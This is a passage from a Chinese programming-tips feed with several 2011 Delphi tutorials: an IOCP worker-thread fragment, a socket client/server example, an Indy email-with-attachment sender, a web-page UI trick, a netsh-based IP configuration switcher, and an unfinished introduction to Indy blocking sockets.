　　　 ....;//数据读写操作完成
　　 
　　　 //再投递一个读数据请求
　　　 WSARecv( CompletKey, @(pPerIoDat^.BufData), 1, BytesRecv, Flags, @(pPerIoDat^.Overlap), nil );
　　 end;
end;
读写线程只是简单地检查IOCP是否完成了我们投递的读写操作，如果完成了则再投递一个新的读写请求。
应该注意到，我们创建的所有TRecvSendThread都在访问同一个IOCP（因为我们只创建了一个IOCP），并且我们没有使用临界区！难道不会产生冲突吗？不用考虑同步问题吗？
这正是IOCP的奥妙所在。IOCP不是一个普通的对象，不需要考虑线程安全问题。它会自动调配访问它的线程：如果某个socket上有一个线程A正在访问，那么线程B的访问请求会被分配到另外一个socket。这一切都是由系统自动调配的，我们无需过问。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>用Delphi编写Socket通信程序 </title>
<link>http://www.youjoys.cn/knowledge/20110728/386.html </link>
<description>笔者在工作中遇到对局域网中各工作站与服务器之间进行Socket通信的问题。现在将本人总结出来的TServerSocket和TClientSocket两个组件的基本用法写出来，希望与 </description>
<text>副标题#e#  AustinLei
				
		
		笔者在工作中遇到对局域网中各工作站与服务器之间进行Socket通信的问题。现在将本人总结出来的TServerSocket和TClientSocket两个组件的基本用法写出来，希望与您分享。
ClientSocket组件为客户端组件。它是通信的请求方，也就是说，它是主动地与服务器端建立连接。
ServerSocket组件为服务器端组件。它是通信的响应方，也就是说，它的动作是监听以及被动接受客户端的连接请求，并对请求进行回复。
ServerSocket组件可以同时接受一个或多个ClientSocket组件的连接请求，并与每个ClientSocket组件建立单独的连接，进行单独的通信。因此，一个服务器端可以为多个客户端服务。
设计思路
本例包括一个服务器端程序和一个客户端程序。客户端程序可以放到多个计算机上运行，同时与服务器端进行连接通信。
本例的重点，一是演示客户端与服务器端如何通信；二是当有多个客户端同时连接到端时，服务器端如何识别每个客户端，并对请求给出相应的回复。为了保证一个客户端断开连接时不影响其它客户端与服务器端的通信，同时保证服务器端能够正确回复客户端的请求，在本例中声明了一个记录类型：
type
　 client_record=record
　 CHandle: integer; //客户端套接字句柄
　 CSocket:TCustomWinSocket; //客户端套接字
　 CName:string; //客户端计算机名称
　 CAddress:string; //客户端计算机IP地址
　 CUsed: boolean; //客户端联机标志
end;
利用这个记录类型数据保存客户端的信息，同时保存当前客户端的连接状态。其中，CHandle保存客户端套接字句柄，以便准确定位每个与服务器端保持连接的客户端；Csocket保存客户端套接字，通过它可以对客户端进行回复。Cused记录当前客户端是否与服务器端保持连接。
下面对组件ServerSocket和ClientSocket的属性设置简单说明。

		#p#副标题#e#  AustinLei
				
		
		
ServerSocket的属性：
&amp;middot; Port，是通信的端口，必须设置。在本例中设置为1025；
&amp;middot; ServerTypt，服务器端读写信息类型，设置为stNonBlocking表示异步读写信息，本例中采用这种方式。
&amp;middot; ThreadCacheSize，客户端的最大连接数，就是服务器端最多允许多少客户端同时连接。本例采用默认值10。
其它属性采用默认设置即可。
ClientSocket的属性：
&amp;middot; Port，是通信的端口，必须与服务器端的设置相同。在本例中设置为1025；
&amp;middot; ClientType，客户端读写信息类型，应该与服务器端的设置相同，为stNonBlocking表示异步读写信息。
&amp;middot; Host，客户端要连接的服务器的IP地址。必须设置，当然也可以在代码中动态设置。
其它属性采用默认设置即可。
程序源代码:
&amp;middot; 服务器端源码（uServerMain.pas）：
unit uServerMain;
interface
　 uses
　　 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
　　 ScktComp, ToolWin, ComCtrls, ExtCtrls, StdCtrls, Buttons;
　 const
　　 CMax=10; //客户端最大连接数
　 type
　　 client_record=record
　　 CHandle: integer; //客户端套接字句柄
　　 CSocket:TCustomWinSocket; //客户端套接字
　　 CName:string; //客户端计算机名称
　　 CAddress:string; //客户端计算机IP地址
　　 CUsed: boolean; //客户端联机标志
　 end;
　 type
　　 TfrmServerMain = class(TForm)
　　 ServerSocket: TServerSocket;
　　 ControlBar1: TControlBar;
　　 ToolBar1: TToolBar;
　　 tbConnect: TToolButton;
　　 tbClose: TToolButton;
　　 tbDisconnected: TToolButton;
　　 Edit1: TEdit;
　　 Memo1: TMemo;
　　 StatusBar: TStatusBar;
　　 procedure tbConnectClick(Sender: TObject);
　　 procedure tbDisconnectedClick(Sender: TObject);
　　 procedure ServerSocketClientRead(Sender: TObject;Socket: TCustomWinSocket);
　　 procedure ServerSocketListen(Sender: TObject;Socket: TCustomWinSocket);
　　 procedure ServerSocketClientConnect(Sender: TObject;Socket: TCustomWinSocket);
　　 procedure ServerSocketClientDisconnect(Sender: TObject;Socket: TCustomWinSocket);
　　 procedure tbCloseClick(Sender: TObject);
　　 procedure FormCreate(Sender: TObject);
　　 procedure FormClose(Sender: TObject; var Action: TCloseAction);
　　 procedure ServerSocketGetSocket(Sender: TObject; Socket: Integer;
　　 var ClientSocket: TServerClientWinSocket);
　　 procedure ServerSocketClientError(Sender: TObject;
　　 Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
　　 var ErrorCode: Integer);
　　 private
　　 {
　　　 Private declarations
　　 }
　　 public
　　 {
　　　 Public declarations
　　 }
　　 session: array[0..CMax] of client_record; //客户端连接数组
　　 Sessions: integer; //客户端连接数
　 end;
　 var
　　 frmServerMain: TfrmServerMain;
　　 implementation
　　 {$R *.DFM}
　　 //打开套接字连接，并使套接字进入监听状态
　　 procedure TfrmServerMain.tbConnectClick(Sender: TObject);
　 begin
　　 ServerSocket.Open ;
　 end;
　 //关闭套接字连接，不再监听客户端的请求
　 procedure TfrmServerMain.tbDisconnectedClick(Sender: TObject);
　 begin
　　 ServerSocket.Close;
　　 StatusBar.Panels[0].Text :='服务器套接字连接已经关闭，无法接受客户端的连接请求.';
　 end;
　 //从客户端读取信息
　 procedure TfrmServerMain.ServerSocketClientRead(Sender: TObject;Socket: TCustomWinSocket);
　 var
　　 i:integer;
　 begin
　　 //将从客户端读取的信息添加到Memo1中
　　 Memo1.Lines.Add(Socket.ReceiveText);
　　 for i:=0 to sessions do
　　 begin
　　　 //取得匹配的客户端
　　　 if session[i].CHandle = Socket.SocketHandle then
　　　 begin
　　　　 session[i].CSocket.SendText('回复客户端'+session[i].CAddress+' ==&amp;gt; '+Edit1.Text);
　　　 end;
　　 end;
　 end;
　 //服务器端套接字进入监听状态，以便监听客户端的连接
　 procedure TfrmServerMain.ServerSocketListen(Sender: TObject;Socket: TCustomWinSocket);
　 begin
　　 StatusBar.Panels[0].Text :='等待客户端连接...';
　 end;
　 //当客户端连接到服务器端以后
　 procedure TfrmServerMain.ServerSocketClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
　 var
　　 i,j:integer;
　 begin
　　 j:=-1;
　　 for i:=0 to sessions do
　　 begin
　　　 //在原有的客户端连接数组中有中断的客户端连接
　　　 if not session[i].CUsed then
　　　 begin
　　　　 session[i].CHandle := Socket.SocketHandle ;//客户端套接字句柄
　　　　 session[i].CSocket := Socket; //客户端套接字
　　　　 session[i].CName := Socket.RemoteHost ; //客户端计算机名称
　　　　 session[i].CAddress := Socket.RemoteAddress ;//客户端计算机IP
　　　　 session[i].CUsed := True; //连接数组当前位置已经占用
　　　　 Break;
　　　 end;
　　 j:=i;
　 end;
　 if j=sessions then
　 begin
　　 inc(sessions);
　　 session[j].CHandle := Socket.SocketHandle ;
　　 session[j].CSocket := Socket;
　　 session[j].CName := Socket.RemoteHost ;
　　 session[j].CAddress := Socket.RemoteAddress ;
　　 session[j].CUsed := True;
　 end;
　 StatusBar.Panels[0].Text := '客户端 '+Socket.RemoteHost + ' 已经连接';
end;
//当客户端断开连接时
procedure TfrmServerMain.ServerSocketClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
var
　 i:integer;
begin
　 for i:=0 to sessions do
　 begin
　　 if session[i].CHandle =Socket.SocketHandle then
　　 begin
　　　 session[i].CHandle :=0;
　　　 session[i].CUsed := False;
　　　 Break;
　　 end;
　 end;
　 StatusBar.Panels[0].Text :='客户端 '+Socket.RemoteHost + ' 已经断开';
end;
//关闭窗口
procedure TfrmServerMain.tbCloseClick(Sender: TObject);
begin
　 Close;
end;
procedure TfrmServerMain.FormCreate(Sender: TObject);
begin
　 sessions := 0;
end;
procedure TfrmServerMain.FormClose(Sender: TObject;var Action: TCloseAction);
begin
　 ServerSocket.Close ;
end;
//当客户端正在与服务器端连接时
procedure TfrmServerMain.ServerSocketGetSocket(Sender: TObject;
Socket: Integer; var ClientSocket: TServerClientWinSocket);
begin
　 StatusBar.Panels[0].Text :='客户端正在连接...';
end;
//客户端发生错误
procedure TfrmServerMain.ServerSocketClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
　 StatusBar.Panels[0].Text :='客户端'+Socket.RemoteHost +'发生错误！';
　 ErrorCode := 0;
end;
end.
#p#副标题#e#  AustinLei
				
		
		
&amp;middot; 客户端源码(uClientMain.pas)：
unit uClientMain;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ComCtrls, ToolWin, ExtCtrls, StdCtrls, Buttons;
const
　 SocketHost = '172.16.1.6'; //服务器端地址
type
　 TfrmClientMain = class(TForm)
　 ControlBar1: TControlBar;
　 ToolBar1: TToolBar;
　 tbConnected: TToolButton;
　 tbSend: TToolButton;
　 tbClose: TToolButton;
　 tbDisconnected: TToolButton;
　 ClientSocket: TClientSocket;
　 Edit1: TEdit;
　 Memo1: TMemo;
　 StatusBar: TStatusBar;
　 btnSend: TBitBtn;
　 procedure tbConnectedClick(Sender: TObject);
　 procedure tbDisconnectedClick(Sender: TObject);
　 procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
　 procedure tbSendClick(Sender: TObject);
　 procedure tbCloseClick(Sender: TObject);
　 procedure FormShow(Sender: TObject);
　 procedure ClientSocketConnect(Sender: TObject;
　 Socket: TCustomWinSocket);
　 procedure ClientSocketConnecting(Sender: TObject;
　 Socket: TCustomWinSocket);
　 procedure ClientSocketDisconnect(Sender: TObject;
　 Socket: TCustomWinSocket);
　 procedure FormClose(Sender: TObject; var Action: TCloseAction);
　 procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
　 ErrorEvent: TErrorEvent; var ErrorCode: Integer);
　 private
　 { Private declarations }
　 public
　 { Public declarations }
　 end;
　 var
　　 frmClientMain: TfrmClientMain;
　　 implementation
　　 {$R *.DFM}
　　 //打开套接字连接
　　 procedure TfrmClientMain.tbConnectedClick(Sender: TObject);
　　 begin
　　　 ClientSocket.Open ;
　　 end;
　　 //关闭套接字连接
　　 procedure TfrmClientMain.tbDisconnectedClick(Sender: TObject);
　　 begin
　　　 ClientSocket.Close;
　　 end;
　　 //接受服务器端的回复
　　 procedure TfrmClientMain.ClientSocketRead(Sender: TObject;Socket: TCustomWinSocket);
　　 begin
　　　 Memo1.Lines.Add(Socket.ReceiveText);
　　 end;
　　 //发送信息到服务器端
　　 procedure TfrmClientMain.tbSendClick(Sender: TObject);
　　 begin
　　　 ClientSocket.Socket.SendText(Edit1.Text);
　　 end;
　　 procedure TfrmClientMain.tbCloseClick(Sender: TObject);
　　 begin
　　　 Close;
　　 end;
　　 //设置要连接的服务器端地址
　　 procedure TfrmClientMain.FormShow(Sender: TObject);
　　 begin
　　　 ClientSocket.Host := SocketHost;
　　 end;
　　 //已经连接到服务器端
　　 procedure TfrmClientMain.ClientSocketConnect(Sender: TObject;Socket: TCustomWinSocket);
　　 begin
　　　 tbSend.Enabled := True;
　　　 tbDisconnected.Enabled :=True;
　　　 btnSend.Enabled := True;
　　　 StatusBar.Panels[0].Text := '已经连接到 '+ Socket.RemoteHost ;
　　 end;
　　 //正在连接到服务器端
　　 procedure TfrmClientMain.ClientSocketConnecting(Sender: TObject;Socket: TCustomWinSocket);
　　 begin
　　　 StatusBar.Panels[0].Text := '正在连接到服务器... ' ;
　　 end;
　　 //当断开与服务器端的连接时发生
　　 procedure TfrmClientMain.ClientSocketDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
　　 begin
　　　 tbSend.Enabled := False;
　　　 btnSend.Enabled := False;
　　　 tbDisconnected.Enabled := False;
　　　 StatusBar.Panels[0].Text := '已经断开与 '+ Socket.RemoteHost +' 的连接';
　　 end;
　　 procedure TfrmClientMain.FormClose(Sender: TObject;
var Action: TCloseAction);
　　 begin
　　　 ClientSocket.Close ;
　　 end;
　　 //当与服务器端的连接发生错误时
　　 procedure TfrmClientMain.ClientSocketError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;var ErrorCode: Integer);
　　 begin
　　　 StatusBar.Panels[0].Text := '与服务器端的连接发生错误';
　　　 ErrorCode := 0;
　　 end;
　 end. </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>用Delphi设计能携带附件的EMail </title>
<link>http://www.youjoys.cn/knowledge/20110728/387.html </link>
<description>平时从来不使用Foxmail、Outlook这样的的客户端软件的用户，每次发邮件的时候都会小心翼翼地打开IE，击开收藏夹，点击某个网站的地址，然后填入用户名、密码， </description>
<text>
	小刀轻舞

	平时从来不使用Foxmail、Outlook这样的的客户端软件的用户，每次发邮件的时候都会小心翼翼地打开IE，击开收藏夹，点击某个网站的地址，然后填入用户名、密码，添加附件，等待ing&amp;hellip;，发送失败，回退到前页，再次发送，等待ing&amp;hellip;，直到发送成功。每次让他们经历这些动作不啻于一种折磨。用什么办法能减轻他们的负担呢？那就在你的程序中加入邮件发送功能吧，同时别忘了加上附件功能（附件功能在电子邮件中实在太有用了），让你的用户只要点击一次就能搞定一切，为他们带来一些轻松。

	实现上面讲的功能会不会很难呢？或许以前是这样的，可是现在我们有了Delphi和Indy组件，开发的过程就会像是静坐窗前，一边欣赏窗外的景致，一边品尝着杯中的咖啡一般惬意而自然。现在就让我们双击Delphi，开始这一段愉快之旅吧。

	在Delphi的Form上，放置IdSMTP、IdMessage、OpenDialog三个主要的组件，这三个组件是这次邮件发送程序的核心组件，大部分功能都由它们来实现，其它还有一些Label、LabeledEdit和Memo组件，具体的布局如下图所示：

	
	（图一）

	本程序的实现思路是这样的，邮件的发送功能由Indy组件来实现，（笔者注：这是一套十分著名的用来开发程序的组件，从Delphi6开始，这套组件成为Delphi内置的组件，它的最新版本可以到http://www.nevrona.com/indy/上去下载），IdSMTP组件用来实现与邮件发送服务器（即SMTP服务器）的联接与通信，而IdMessage组件则用来对邮件内容进行存储和编码。当邮件写好后，数据被编码并&amp;ldquo;填充&amp;rdquo;进IdMessage，然后通过IdSMTP与SMTP服务器进行联接和通信。

	邮件发送的主要代码如下：

	procedure TMailerForm.btnSendMailClick(Sender: TObject);
	begin
	　 StatusMemo.Clear;
	//设置SMTP
	　 SMTP.Host := ledHost.Text; //具体使用的SMTP，可以到你申请的邮箱所在的网站中去找
	　 SMTP.Port := 25;
	//设置邮件内容
	　 MailMessage.From.Address := ledFrom.Text;
	　 MailMessage.Recipients.EMailAddresses := ledTo.Text + &amp;#39;,&amp;#39; + ledCC.Text;
	MailMessage.Subject := ledSubject.Text;
	　 MailMessage.Body.Text := Body.Text;
	if FileExists(ledAttachment.Text) then
	　　 TIdAttachment.Create(MailMessage.MessageParts,
	　　 ledAttachment.Text);
	//发送邮件
	　　 try
	　　　 try
	　　　　 SMTP.Connect(1000);
	　　　　 SMTP.Send(MailMessage);
	　　　 except on E:Exception do
	　　　　 StatusMemo.Lines.Insert(0, &amp;#39;ERROR: &amp;#39; + E.Message);
	　　　 end;
	　　 finally
	　　　 if SMTP.Connected then
	　　　 SMTP.Disconnect;
	　 end;
	end;
	//添加附件代码
	procedure TMailerForm.btnAttachmentClick(Sender: TObject);
	begin
	　 if AttachmentDialog.Execute then
	　　 ledAttachment.Text := AttachmentDialog.FileName;
	end;

	邮件发送程序的应用十分的广泛，随着宽带的普及，&amp;ldquo;时刻在线&amp;rdquo;成为了可能，为你的应用软件加入邮件收发功能将为你的用户带来不少的方便。在软件开发中更多的为用户着想，才能使你的软件真正受到大众的欢迎！

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,设计,携带,附件,EMail,小刀,轻舞,平时 </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>Delphi中用网页打造程序界面 </title>
<link>http://www.youjoys.cn/knowledge/20110728/388.html </link>
<description>大家都知道，现在的网页想要多花哨就有多花哨，比起传统 Windows 应用程序界面单调的菜单加按钮，不知会醒目多少。而且网页素材十分丰富，制作起来也比较简单。 </description>
<text>电脑报 李健
				
		
		大家都知道，现在的网页想要多花哨就有多花哨，比起传统应用程序界面单调的菜单加按钮，不知会醒目多少。而且网页素材十分丰富，制作起来也比较简单。如果你想做一个华丽无比，动感十足的程序界面，那Web界面就是你最佳的选择。
第一步：根据需要，用FrontPage或者Dreamweaver做一个界面，界面加上图片，还可加上漂亮的动态Flash。Web界面与程序事件联系在一起的地方就是&amp;ldquo;超链接&amp;rdquo;，我们以一个简单的播放器程序为例。
比如：要做一个播放器，有&amp;ldquo;播放&amp;rdquo;按钮和&amp;ldquo;停止&amp;rdquo;按钮，分别设置&amp;ldquo;播放&amp;rdquo;按钮的链接为&amp;ldquo;Play_&amp;rdquo;；&amp;ldquo;停止&amp;rdquo;按钮的超链接为&amp;ldquo;Stop_&amp;rdquo;。并保存这个网页文件为&amp;ldquo;WebFrm.htm&amp;rdquo;。
第二步：在Delphi中新建一个Project，设置Form1的长宽和刚才设计网页一样大小，在Form1上放置一个WebBrowser1控件，设置WebBrowser1的Align属性为alClient，我们是利用TWebBrowser来显示网页界面的。代码如下：
procedure TForm1.FormCreateSender TObjectbeginWebBrowser1.Navigate'D\播放器\WebFrm.htm'//把&amp;ldquo;D\播放器&amp;rdquo;换成你保存WebFrm.htm的目录end
第三步：关键就在这步了。在响应Web界面上&amp;ldquo;播放&amp;rdquo;和&amp;ldquo;停止&amp;rdquo;的点击事件时，就要用到TWebBrowser的OnBeforeNavigate2事件，它的代码如下：
procedure TForm1.WebBrowser1BeforeNavigate2Sender TObjectconst pDisp IDispatch var URL Flags TargetFrameName PostDataHeaders OleVariant var Cancel WordB ool
在它的七个参数中，我们会用到URL和Cancel这两个参数，在本例中，当你点击&amp;ldquo;播放&amp;rdquo;按钮时，URL就会返回&amp;ldquo;D\播放器\WebFrm.htm\Play_&amp;rdquo;这行字符串当点击&amp;ldquo;停止&amp;rdquo;按钮时，URL则返回&amp;ldquo;D\播放器\WebFrm.htm\Stop_&amp;rdquo;这行字符串。Cancel这个参数的用途是：当点击&amp;ldquo;播放&amp;rdquo;按钮时，Web想要跳转到&amp;ldquo;D\播放器\WebFrm.htm\Play_&amp;rdquo;这个页面，但根本没这个页面，WebBrowser1就会出现我们上网经常看到的&amp;ldquo;该页无法显示&amp;rdquo;这个页面，这时把Cancel设为TrueWebBrowser1会断开链接，就不会出现以上情况了。
具体代码如下：
procedure TForm1.WebBrowser1BeforeNavigate2Sender TObjectconst pDisp IDispatch var URL Flags TargetFrameName PostDataHeaders OleVariant var Cancel WordBoolbeginif Pos'Play_' URL &amp;gt; 0 then begin //当返回的URL含有&amp;ldquo;Play_&amp;rdquo;，就执行播放的代码ShowMessage'播放'//为简单起见，用来代替播放的代码。Cancel = Trueendelseif Pos'Stop_' URL &amp;gt; 0 then beginShowMessage'停止'//为简单起见，用来代替播放的代码。Cancel = Trueendend
（以上代码Delphi6+Win2000编译通过。） </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>用Delphi编写IP地址转换器 </title>
<link>http://www.youjoys.cn/knowledge/20110728/390.html </link>
<description>现在学校和公司的朋友们大都遇到过这种情况吧：计算机需要经常在互联网和局域网之间转换，每次转换除了换网线外，还需要修改 网络 配置（IP地址、网关、DNS等等 </description>
<text>
	张志远

	现在学校和公司的朋友们大都遇到过这种情况吧：计算机需要经常在互联网和局域网之间转换，每次转换除了换网线外，还需要修改配置（IP地址、网关、DNS等等），相当麻烦。如何能在一个窗口中一步实现呢？有些公司提供了软件如：IPChanger、EasyProxy等等，但是很遗憾这些软件都不是免费软件，只能试用一段时间。

	因此，笔者经过尝试，调试出一个非常简单、易行的方法，供大家参考使用。

	首先看一下原理：

	Window的netsh命令通过创建和调用记录网络配置的文本文件即可修改网络配置。主要包括一下两个命令：

	Netsh interface dump &amp;gt; 相对路径\ netcfg1.txt

	这条命令可以将计算机现有的网络配置保存在netcfg1.txt文件中。

	Netsh -f netcfg1.txt

	这条命令即可将netcfg1.txt文件中保存的网络配置应用到计算机中。

	基于以上的两条命令，笔者利用Delphi6.0编制小程序，将它进一步完善。运行结果如下图所示：

	&amp;nbsp;

	如上图所示，小软件主要功能分成两部分：网络设置和网络替换。因为一个计算机绝大多数是在两个网络中互换，所以本程序只实现了两个网络的互换，更多的网络间互换道理是相同的。

	网络设置&amp;quot;互联网&amp;quot;和&amp;quot;局域网&amp;quot;两个Button的单击事件是将左侧网络设置区的IP地址、网关、DNS等信息记录到文本中。其中遇到的两个主要困难是IP地址的录入时的出错情况处理和保存文本文件。

	代码如下：

	procedure TForm1.BitBtn2Click(Sender: TObject); //&amp;quot;局域网&amp;quot;按钮的单击事件
	begin
	　 FileAppendProc1();
	　 RadioButton2.Checked:=true;
	end;
	procedure TForm1.FileAppendProc1(); //保存文件的函数
	　 var NetFile : TextFile;
	　 NetFilename : string;
	　 FileAppend,tempStr : string;
	begin
	　 NetFilename :=&amp;#39;netcfg2.txt&amp;#39;;
	　 FileAppend :=S5+MaskEdit1.Text+S1+MaskEdit2.Text+S2+MaskEdit3.Text+S3+S4;
	　 //MessageDlg(&amp;#39;This is commend&amp;#39;+FileAppend,mtInformation,[mbOK],0);
	　 AssignFile(Netfile,&amp;#39;net.txt&amp;#39;); //net.txt文件要放在应用程序的同一目录中
	　 Reset(NetFile);
	　 begin
	　 try
	　　 Memo1.Lines.Text:=&amp;#39;&amp;#39;;
	　　 while not Eof(NetFile) do
	　　 begin
	　　　 Readln(NetFile,tempStr);
	　　　 Memo1.Lines.Add(tempStr) ;
	　　 end;
	　　 finally
	　 begin
	　　 CloseFile(NetFile);
	　 end;
	end;
	AssignFile(Netfile,NetFilename);
	Rewrite(NetFile);
	try
	　 Writeln(NetFile,&amp;#39;&amp;#39;);
	　 finally
	　 CloseFile(NetFile);
	end;
	　 Memo1.Lines.Add(FileAppend);
	　 Memo1.Lines.SaveToFile(NetFilename);
	end;
	end;
	procedure TForm1.MaskEdit1Exit(Sender: TObject); //IP地址输入出错处理
	　 var ip1,ip2,ip3,ip4: Integer;
	begin
	　 if (copy(MaskEdit1.Text,1,3)=&amp;#39; &amp;#39;) or (copy(MaskEdit1.Text,5,3)=&amp;#39; &amp;#39;) or 　(copy(MaskEdit1.Text,9,3)=&amp;#39; &amp;#39;) or (copy(MaskEdit1.Text,13,3)=&amp;#39; &amp;#39;) then
	　 begin
	　　 showmessage(&amp;#39;请注意，不能有空域值&amp;#39;) ;
	　　 MaskEdit1.SetFocus;
	　 end;
	　 if (copy(MaskEdit1.Text,1,3)&amp;lt;&amp;gt;&amp;#39; &amp;#39;) and (copy(MaskEdit1.Text,5,3)&amp;lt;&amp;gt;&amp;#39; &amp;#39;) and 　　(copy(MaskEdit1.Text,9,3)&amp;lt;&amp;gt;&amp;#39; &amp;#39;) and (copy(MaskEdit1.Text,13,3)&amp;lt;&amp;gt;&amp;#39; &amp;#39;) then
	　 begin
	　　 ip1:=strtoint(trim(copy(MaskEdit1.Text,1,3)));
	　　 ip2:=strtoint(trim(copy(MaskEdit1.Text,5,3)));
	　　 ip3:=strtoint(trim(copy(MaskEdit1.Text,9,3)));
	　　 ip4:=strtoint(trim(copy(MaskEdit1.Text,13,3)));
	　　 if (ip1&amp;lt;0) or (ip1&amp;gt;254) or (ip2&amp;lt;0) or (ip2&amp;gt;254) or(ip3&amp;lt;0) or (ip3&amp;gt;254) or (ip4&amp;lt;0) or (ip4&amp;gt;254) then
	　　 begin
	　　　 showmessage(&amp;#39;您的输入不正确,请重新输入!&amp;#39;);
	　　　 MaskEdit1.SetFocus;
	　　 end;
	　 end;
	end;

	右侧网络替换功能的编制相对简单些，通过两个radiobutton控件选择要使用哪个网络，然后点击&amp;quot;确定&amp;quot;按钮即可。

	procedure TForm1.Button1Click(Sender: TObject); //&amp;quot;确定&amp;quot;按钮的单击事件
	begin
	　　 if RadioButton1.Checked then winexec(&amp;#39;netsh -f netcfg1.txt&amp;#39;,sw_normal) ;
	　　 if RadioButton2.Checked then winexec(&amp;#39;netsh -f netcfg2.txt&amp;#39;,sw_normal) ;
	end;

	这样，功能就实现了，这个小软件简单易用，在我周围的同学中已经广为流传，希望大家能够从中学习到简单易行的网络配置方法。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,编写,地址,转换器,张志远,志远,现在,学校, </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>Delphi 7中用Indy组件开发Socket应用程序 </title>
<link>http://www.youjoys.cn/knowledge/20110728/391.html </link>
<description>笔者在前一段的工作中，需要开发一套简单的 网络 数据传输程序。由于平时常用Delphi做点开发，故此次也不例外。Delphi 7中带有两套TCP Socket组件：Indy Socket </description>
<text>
	副标题#e# 虚度

	笔者在前一段的工作中，需要开发一套简单的数据传输程序。由于平时常用Delphi做点开发，故此次也不例外。Delphi 7中带有两套TCP Socket组件：Indy Socket组件（IdTCPClient和IdTCPServer）和Delphi原生的TCP Socket组件（ClientSocket和ServerSocket）。但是，Borland已宣称ClientSocket和ServerSocket组件即将被废弃，建议用相应的Indy组件来代替。因此，笔者使用了Indy。本文在对Indy进行简要介绍的基础上，创建了一组简单的TCP Socket数据传输应用来演示了Indy的使用方法。

	开放源代码的Internet组件集&amp;mdash;&amp;mdash;Internet Direct（Indy）Internet Direct（Indy）是一组开放源代码的Internet组件，涵盖了几乎所有流行的Internet协议。Indy用Delphi编写，被包含在Delphi 6，Kylix 1和C++ Builder 6及以上各个版本的Borland开发环境中。Indy曾经叫做WinShoes（双关于WinSock&amp;mdash;&amp;mdash;Windows的Socket库），是由Chad Z. Hower领导的一群开发者构建的，可以从Indy的站点www.nevrona.com/indy上找到更多的信息并下载其新版本。到笔者撰写本文时为止，Indy的最新稳定版是9.0.14，Indy 10也进入了Beta测试阶段。

	Delphi 7中所带的是Indy 9。在其的组件面板上，一共安装有100多个Indy组件。使用这些组件你可以开发基于各种协议的TCP客户和服务器应用程序，并处理相关的编码和安全问题。你可以通过前缀Id来识别Indy组件。

	Indy是阻塞式（Blocking）的

	当你使用Winsock开发网络应用程序时，从Socket中读取数据或者向Socket写入数据都是异步发生的，这样就不会阻断程序中其它代码的执行。在收到数据时，Winsock会向应用程序发送相应的消息。这种访问方式被称作非阻塞式连接，它要求你对事件作出响应，设置状态机，并通常还需要一个等待循环。

	与通常的Winsock编程方法不同的是，Indy使用了阻塞式Socket调用方式。阻塞式访问更像是文件存取。当你读取数据，或是写入数据时，读取和写入函数将一直等到相应的操作完成后才返回。比如说，发起网络连接只需调用Connect方法并等待它返回，如果该方法执行成功，在结束时就直接返回，如果未能成功执行，则会抛出相应的异常。同文件访问不同的是，Socket调用可能会需要更长的时间，因为要读写的数据可能不会立即就能准备好（在很大程度上依赖于网络带宽）。

	阻塞式Socket并非恶魔（Evil）

	长期以来，阻塞式Socket都遭到了毫无理由的攻击。其实阻塞式Socket并非如通常所说的那样可怕。这还要从Winsock的发展说起。

	当Socket被从Unix移植到Windows时，一个严重的问题立即就出现了。Unix支持fork，客户程序和服务器都能够fork新的进程，并启动这些进程，从而能够很方便地使用阻塞式Socket。而Windows 3.x既不支持fork也不支持多线程，当使用阻塞式Socket时，用户界面就会被&amp;ldquo;锁住&amp;rdquo;而无法响应用户输入。

	为克服Windows 3.x的这一缺陷，微软在Winsock中加入了异步扩展，以使Winsock不会&amp;ldquo;锁住&amp;rdquo;应用程序的主线程（也是唯一的线程）。然而，这需要了一种完全不同的编程方式。于是有些人为了掩饰这一弱点，就开始强烈地诽谤阻塞式Socket。

	当Win32出现的时候，它能够很好地支持线程。但是既成的观念已经很难更改，并且说出去的话也无法收回，因此对阻塞式Socket的诽谤继续存在着。

	事实上，阻塞式Socket仍然是Unix实现Socket的唯一方式，并且它工作得很好。

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# 虚度

	&amp;nbsp;

	阻塞式Socket的优点

	归结起来，在Windows上使用阻塞式Socket开发应用程序具有如下优点：

	编程简单&amp;mdash;&amp;mdash;阻塞式Socket应用程序很容易编写。所有的用户代码都写在同一个地方，并且顺序执行。

	容易向Unix移植&amp;mdash;&amp;mdash;由于Unix也使用阻塞式Socket，编写可移植的代码就变得比较容易。Indy就是利用这一点来实现其多平台支持而又单一源代码的设计。

	很好地利用了线程技术&amp;mdash;&amp;mdash;阻塞式Socket是顺序执行的，其固有的封装特性使得它能够很容易地使用到线程中。

	阻塞式Socket的缺点

	事物都具有两面性，阻塞式Socket也不例外。它的一个主要的缺点就是使客户程序的用户界面&amp;ldquo;冻结&amp;rdquo;。当在程序的主线程中进行阻塞式Socket调用时，由于要等待Socket调用完成并返回，这段时间就不能处理用户界面消息，使得Update、Repaint以及其它消息得不到及时响应，从而导致用户界面被&amp;ldquo;冻结&amp;rdquo;。

	使用TIdAntiFreeze对抗&amp;ldquo;冻结&amp;rdquo;

